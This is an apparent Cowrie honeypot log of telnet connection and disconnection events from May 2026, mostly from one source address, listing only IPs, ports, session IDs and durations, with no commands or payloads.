{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43698,"dst_ip":"159.203.135.109","dst_port":23,"session":"2510bfda6c9c","protocol":"telnet","message":"New connection: 50.6.18.72:43698 (159.203.135.109:23) [session: 2510bfda6c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.714432Z"}
{"eventid":"cowrie.session.closed","duration":31.115506649017334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.720844Z","src_ip":"50.6.18.72","session":"57ecabb364a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43704,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec61daacb870","protocol":"telnet","message":"New connection: 50.6.18.72:43704 (159.203.135.109:23) [session: ec61daacb870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.807164Z"}
{"eventid":"cowrie.session.closed","duration":30.710326194763184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.831168Z","src_ip":"50.6.18.72","session":"3cfa7433ff99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43726,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d7fd216b578","protocol":"telnet","message":"New connection: 50.6.18.72:43726 (159.203.135.109:23) [session: 2d7fd216b578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.950019Z"}
{"eventid":"cowrie.session.closed","duration":31.108519792556763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.962457Z","src_ip":"50.6.18.72","session":"08debfa9da3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119380235671997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.057384Z","src_ip":"50.6.18.72","session":"d61b5eeb88fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43728,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc3d5ff3914","protocol":"telnet","message":"New connection: 50.6.18.72:43728 (159.203.135.109:23) [session: 9dc3d5ff3914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.120897Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43742,"dst_ip":"159.203.135.109","dst_port":23,"session":"a025a309bc65","protocol":"telnet","message":"New connection: 50.6.18.72:43742 (159.203.135.109:23) [session: a025a309bc65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.126593Z"}
{"eventid":"cowrie.session.closed","duration":31.10931944847107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.224057Z","src_ip":"50.6.18.72","session":"c73573c675f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43668,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b2270b937cf","protocol":"telnet","message":"New connection: 50.6.18.72:43668 (159.203.135.109:23) [session: 3b2270b937cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.335531Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43756,"dst_ip":"159.203.135.109","dst_port":23,"session":"17cce37978e6","protocol":"telnet","message":"New connection: 50.6.18.72:43756 (159.203.135.109:23) [session: 17cce37978e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.402771Z"}
{"eventid":"cowrie.session.closed","duration":31.111854791641235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.492215Z","src_ip":"50.6.18.72","session":"187e68dec23c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033392667770386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.578482Z","src_ip":"50.6.18.72","session":"db1960fa7141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43772,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba15e394fbb","protocol":"telnet","message":"New connection: 50.6.18.72:43772 (159.203.135.109:23) [session: 3ba15e394fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.593269Z"}
{"eventid":"cowrie.session.closed","duration":10.080286026000977,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.798245Z","src_ip":"147.182.143.59","session":"58bba2e8e7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43714,"dst_ip":"159.203.135.109","dst_port":23,"session":"f45fed2145b6","protocol":"telnet","message":"New connection: 50.6.18.72:43714 (159.203.135.109:23) [session: f45fed2145b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.904834Z"}
{"eventid":"cowrie.session.closed","duration":30.789504051208496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:08.975572Z","src_ip":"50.6.18.72","session":"d2f1cfab3673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014211177825928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.191456Z","src_ip":"50.6.18.72","session":"ae98c60cd060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96421504020691,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.334806Z","src_ip":"50.6.18.72","session":"9dde2d78b9fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43786,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2fb303cbd61","protocol":"telnet","message":"New connection: 50.6.18.72:43786 (159.203.135.109:23) [session: f2fb303cbd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.353951Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43790,"dst_ip":"159.203.135.109","dst_port":23,"session":"29951d796b02","protocol":"telnet","message":"New connection: 50.6.18.72:43790 (159.203.135.109:23) [session: 29951d796b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.375542Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43798,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcec9bc78a4b","protocol":"telnet","message":"New connection: 50.6.18.72:43798 (159.203.135.109:23) [session: dcec9bc78a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.532413Z"}
{"eventid":"cowrie.session.closed","duration":30.16894268989563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.575910Z","src_ip":"50.6.18.72","session":"e3ef1c47d89d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68315815925598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.597539Z","src_ip":"50.6.18.72","session":"7d7430328ec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43806,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c3c78679471","protocol":"telnet","message":"New connection: 50.6.18.72:43806 (159.203.135.109:23) [session: 2c3c78679471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.632373Z"}
{"eventid":"cowrie.session.closed","duration":30.371042013168335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.785990Z","src_ip":"50.6.18.72","session":"33d3d2341895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400140285491943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.824003Z","src_ip":"50.6.18.72","session":"00a356aebf5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.433398485183716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:09.978761Z","src_ip":"50.6.18.72","session":"15414c959be0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.460074186325073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.010433Z","src_ip":"50.6.18.72","session":"a7b9968764ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43814,"dst_ip":"159.203.135.109","dst_port":23,"session":"948a2e6215ad","protocol":"telnet","message":"New connection: 50.6.18.72:43814 (159.203.135.109:23) [session: 948a2e6215ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.042201Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43556,"dst_ip":"159.203.135.109","dst_port":23,"session":"7101a3adda5d","protocol":"telnet","message":"New connection: 50.6.18.72:43556 (159.203.135.109:23) [session: 7101a3adda5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.211735Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43816,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa523dcb212f","protocol":"telnet","message":"New connection: 50.6.18.72:43816 (159.203.135.109:23) [session: aa523dcb212f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.255102Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43832,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f639474b797","protocol":"telnet","message":"New connection: 50.6.18.72:43832 (159.203.135.109:23) [session: 9f639474b797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.310143Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43834,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e0af9c2f53d","protocol":"telnet","message":"New connection: 50.6.18.72:43834 (159.203.135.109:23) [session: 3e0af9c2f53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.335301Z"}
{"eventid":"cowrie.session.closed","duration":31.11414909362793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.381183Z","src_ip":"50.6.18.72","session":"355c801e1e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43836,"dst_ip":"159.203.135.109","dst_port":23,"session":"957e4ae98220","protocol":"telnet","message":"New connection: 50.6.18.72:43836 (159.203.135.109:23) [session: 957e4ae98220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.409934Z"}
{"eventid":"cowrie.session.closed","duration":31.141048431396484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.419598Z","src_ip":"50.6.18.72","session":"9af2c40fe31a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93760919570923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.585064Z","src_ip":"50.6.18.72","session":"d45c54ebbecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110832691192627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.727721Z","src_ip":"50.6.18.72","session":"80c0ed0fe91f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982808351516724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.855797Z","src_ip":"50.6.18.72","session":"44e695de4b83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43858,"dst_ip":"159.203.135.109","dst_port":23,"session":"aab5821513e7","protocol":"telnet","message":"New connection: 50.6.18.72:43858 (159.203.135.109:23) [session: aab5821513e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.860426Z"}
{"eventid":"cowrie.session.closed","duration":31.109015941619873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.933488Z","src_ip":"50.6.18.72","session":"1bfa852afdca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65546441078186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:10.964337Z","src_ip":"50.6.18.72","session":"460bc289bf97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116408824920654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.130009Z","src_ip":"50.6.18.72","session":"0def94a85315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11173939704895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.240552Z","src_ip":"50.6.18.72","session":"f294d5802892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.105494499206543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.470729Z","src_ip":"50.6.18.72","session":"ba188dbf5fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43882,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba2cacb74776","protocol":"telnet","message":"New connection: 50.6.18.72:43882 (159.203.135.109:23) [session: ba2cacb74776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.497174Z"}
{"eventid":"cowrie.session.closed","duration":30.497897624969482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.540702Z","src_ip":"50.6.18.72","session":"1a1417972efd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926709413528442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.642211Z","src_ip":"50.6.18.72","session":"fdb5be89d020","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43850,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9069f1d0db4","protocol":"telnet","message":"New connection: 50.6.18.72:43850 (159.203.135.109:23) [session: b9069f1d0db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.657191Z"}
{"eventid":"cowrie.session.closed","duration":30.965085983276367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.734004Z","src_ip":"50.6.18.72","session":"5e5086bc8d0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43884,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b0c3e9168ea","protocol":"telnet","message":"New connection: 50.6.18.72:43884 (159.203.135.109:23) [session: 1b0c3e9168ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:11.902014Z"}
{"eventid":"cowrie.session.closed","duration":31.09874153137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:12.001184Z","src_ip":"50.6.18.72","session":"786435abc6ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33538055419922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:12.045173Z","src_ip":"50.6.18.72","session":"d95a43a14c39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43868,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b8ca49665cd","protocol":"telnet","message":"New connection: 50.6.18.72:43868 (159.203.135.109:23) [session: 8b8ca49665cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:12.387921Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43886,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bb7014c6290","protocol":"telnet","message":"New connection: 50.6.18.72:43886 (159.203.135.109:23) [session: 9bb7014c6290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:12.506481Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43888,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66595ba1c3b","protocol":"telnet","message":"New connection: 50.6.18.72:43888 (159.203.135.109:23) [session: f66595ba1c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:12.628758Z"}
{"eventid":"cowrie.session.closed","duration":31.45439052581787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:12.670681Z","src_ip":"50.6.18.72","session":"e64c9fff40c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79394221305847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:12.774829Z","src_ip":"50.6.18.72","session":"9d69f11532b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43894,"dst_ip":"159.203.135.109","dst_port":23,"session":"e57f25ff1320","protocol":"telnet","message":"New connection: 50.6.18.72:43894 (159.203.135.109:23) [session: e57f25ff1320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:12.842112Z"}
{"eventid":"cowrie.session.closed","duration":31.068125247955322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:13.271896Z","src_ip":"50.6.18.72","session":"8b5c5042bbf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43898,"dst_ip":"159.203.135.109","dst_port":23,"session":"f37bc203d8ff","protocol":"telnet","message":"New connection: 50.6.18.72:43898 (159.203.135.109:23) [session: f37bc203d8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:13.458825Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43910,"dst_ip":"159.203.135.109","dst_port":23,"session":"3de9d37c0fb6","protocol":"telnet","message":"New connection: 50.6.18.72:43910 (159.203.135.109:23) [session: 3de9d37c0fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:13.524845Z"}
{"eventid":"cowrie.session.closed","duration":32.696927309036255,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:13.530839Z","src_ip":"50.6.18.72","session":"eb8929e871e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.242705583572388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:13.544711Z","src_ip":"50.6.18.72","session":"757f6e24f2da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43912,"dst_ip":"159.203.135.109","dst_port":23,"session":"9735d7fb673b","protocol":"telnet","message":"New connection: 50.6.18.72:43912 (159.203.135.109:23) [session: 9735d7fb673b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:13.639570Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43914,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdec821e4154","protocol":"telnet","message":"New connection: 50.6.18.72:43914 (159.203.135.109:23) [session: bdec821e4154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:13.866397Z"}
{"eventid":"cowrie.session.closed","duration":31.375152349472046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:14.157793Z","src_ip":"50.6.18.72","session":"56e3abb51852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43928,"dst_ip":"159.203.135.109","dst_port":23,"session":"b50e8367b159","protocol":"telnet","message":"New connection: 50.6.18.72:43928 (159.203.135.109:23) [session: b50e8367b159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:14.241889Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43934,"dst_ip":"159.203.135.109","dst_port":23,"session":"de0c95dfc1e5","protocol":"telnet","message":"New connection: 50.6.18.72:43934 (159.203.135.109:23) [session: de0c95dfc1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:14.368826Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43948,"dst_ip":"159.203.135.109","dst_port":23,"session":"fafbb2b43d1f","protocol":"telnet","message":"New connection: 50.6.18.72:43948 (159.203.135.109:23) [session: fafbb2b43d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:14.373355Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43956,"dst_ip":"159.203.135.109","dst_port":23,"session":"c647ece4de6e","protocol":"telnet","message":"New connection: 50.6.18.72:43956 (159.203.135.109:23) [session: c647ece4de6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:14.783046Z"}
{"eventid":"cowrie.session.closed","duration":30.498483896255493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:14.827184Z","src_ip":"50.6.18.72","session":"d64e89952f31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43960,"dst_ip":"159.203.135.109","dst_port":23,"session":"0be0888811ab","protocol":"telnet","message":"New connection: 50.6.18.72:43960 (159.203.135.109:23) [session: 0be0888811ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:15.122979Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43970,"dst_ip":"159.203.135.109","dst_port":23,"session":"8178fa353654","protocol":"telnet","message":"New connection: 50.6.18.72:43970 (159.203.135.109:23) [session: 8178fa353654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:15.188415Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43972,"dst_ip":"159.203.135.109","dst_port":23,"session":"dae98b0671fa","protocol":"telnet","message":"New connection: 50.6.18.72:43972 (159.203.135.109:23) [session: dae98b0671fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:15.196016Z"}
{"eventid":"cowrie.session.closed","duration":30.203717470169067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:15.550301Z","src_ip":"50.6.18.72","session":"44d4c58c3930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116997003555298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:15.571599Z","src_ip":"50.6.18.72","session":"9142a063dc9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47058,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a04afb2027","protocol":"telnet","message":"New connection: 50.6.18.72:47058 (159.203.135.109:23) [session: 40a04afb2027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:15.634699Z"}
{"eventid":"cowrie.session.closed","duration":46.659992933273315,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:15.759964Z","src_ip":"45.58.127.90","session":"ca01c9d87666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04858112335205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:16.005117Z","src_ip":"50.6.18.72","session":"3cde74e21450","protocol":"telnet"}
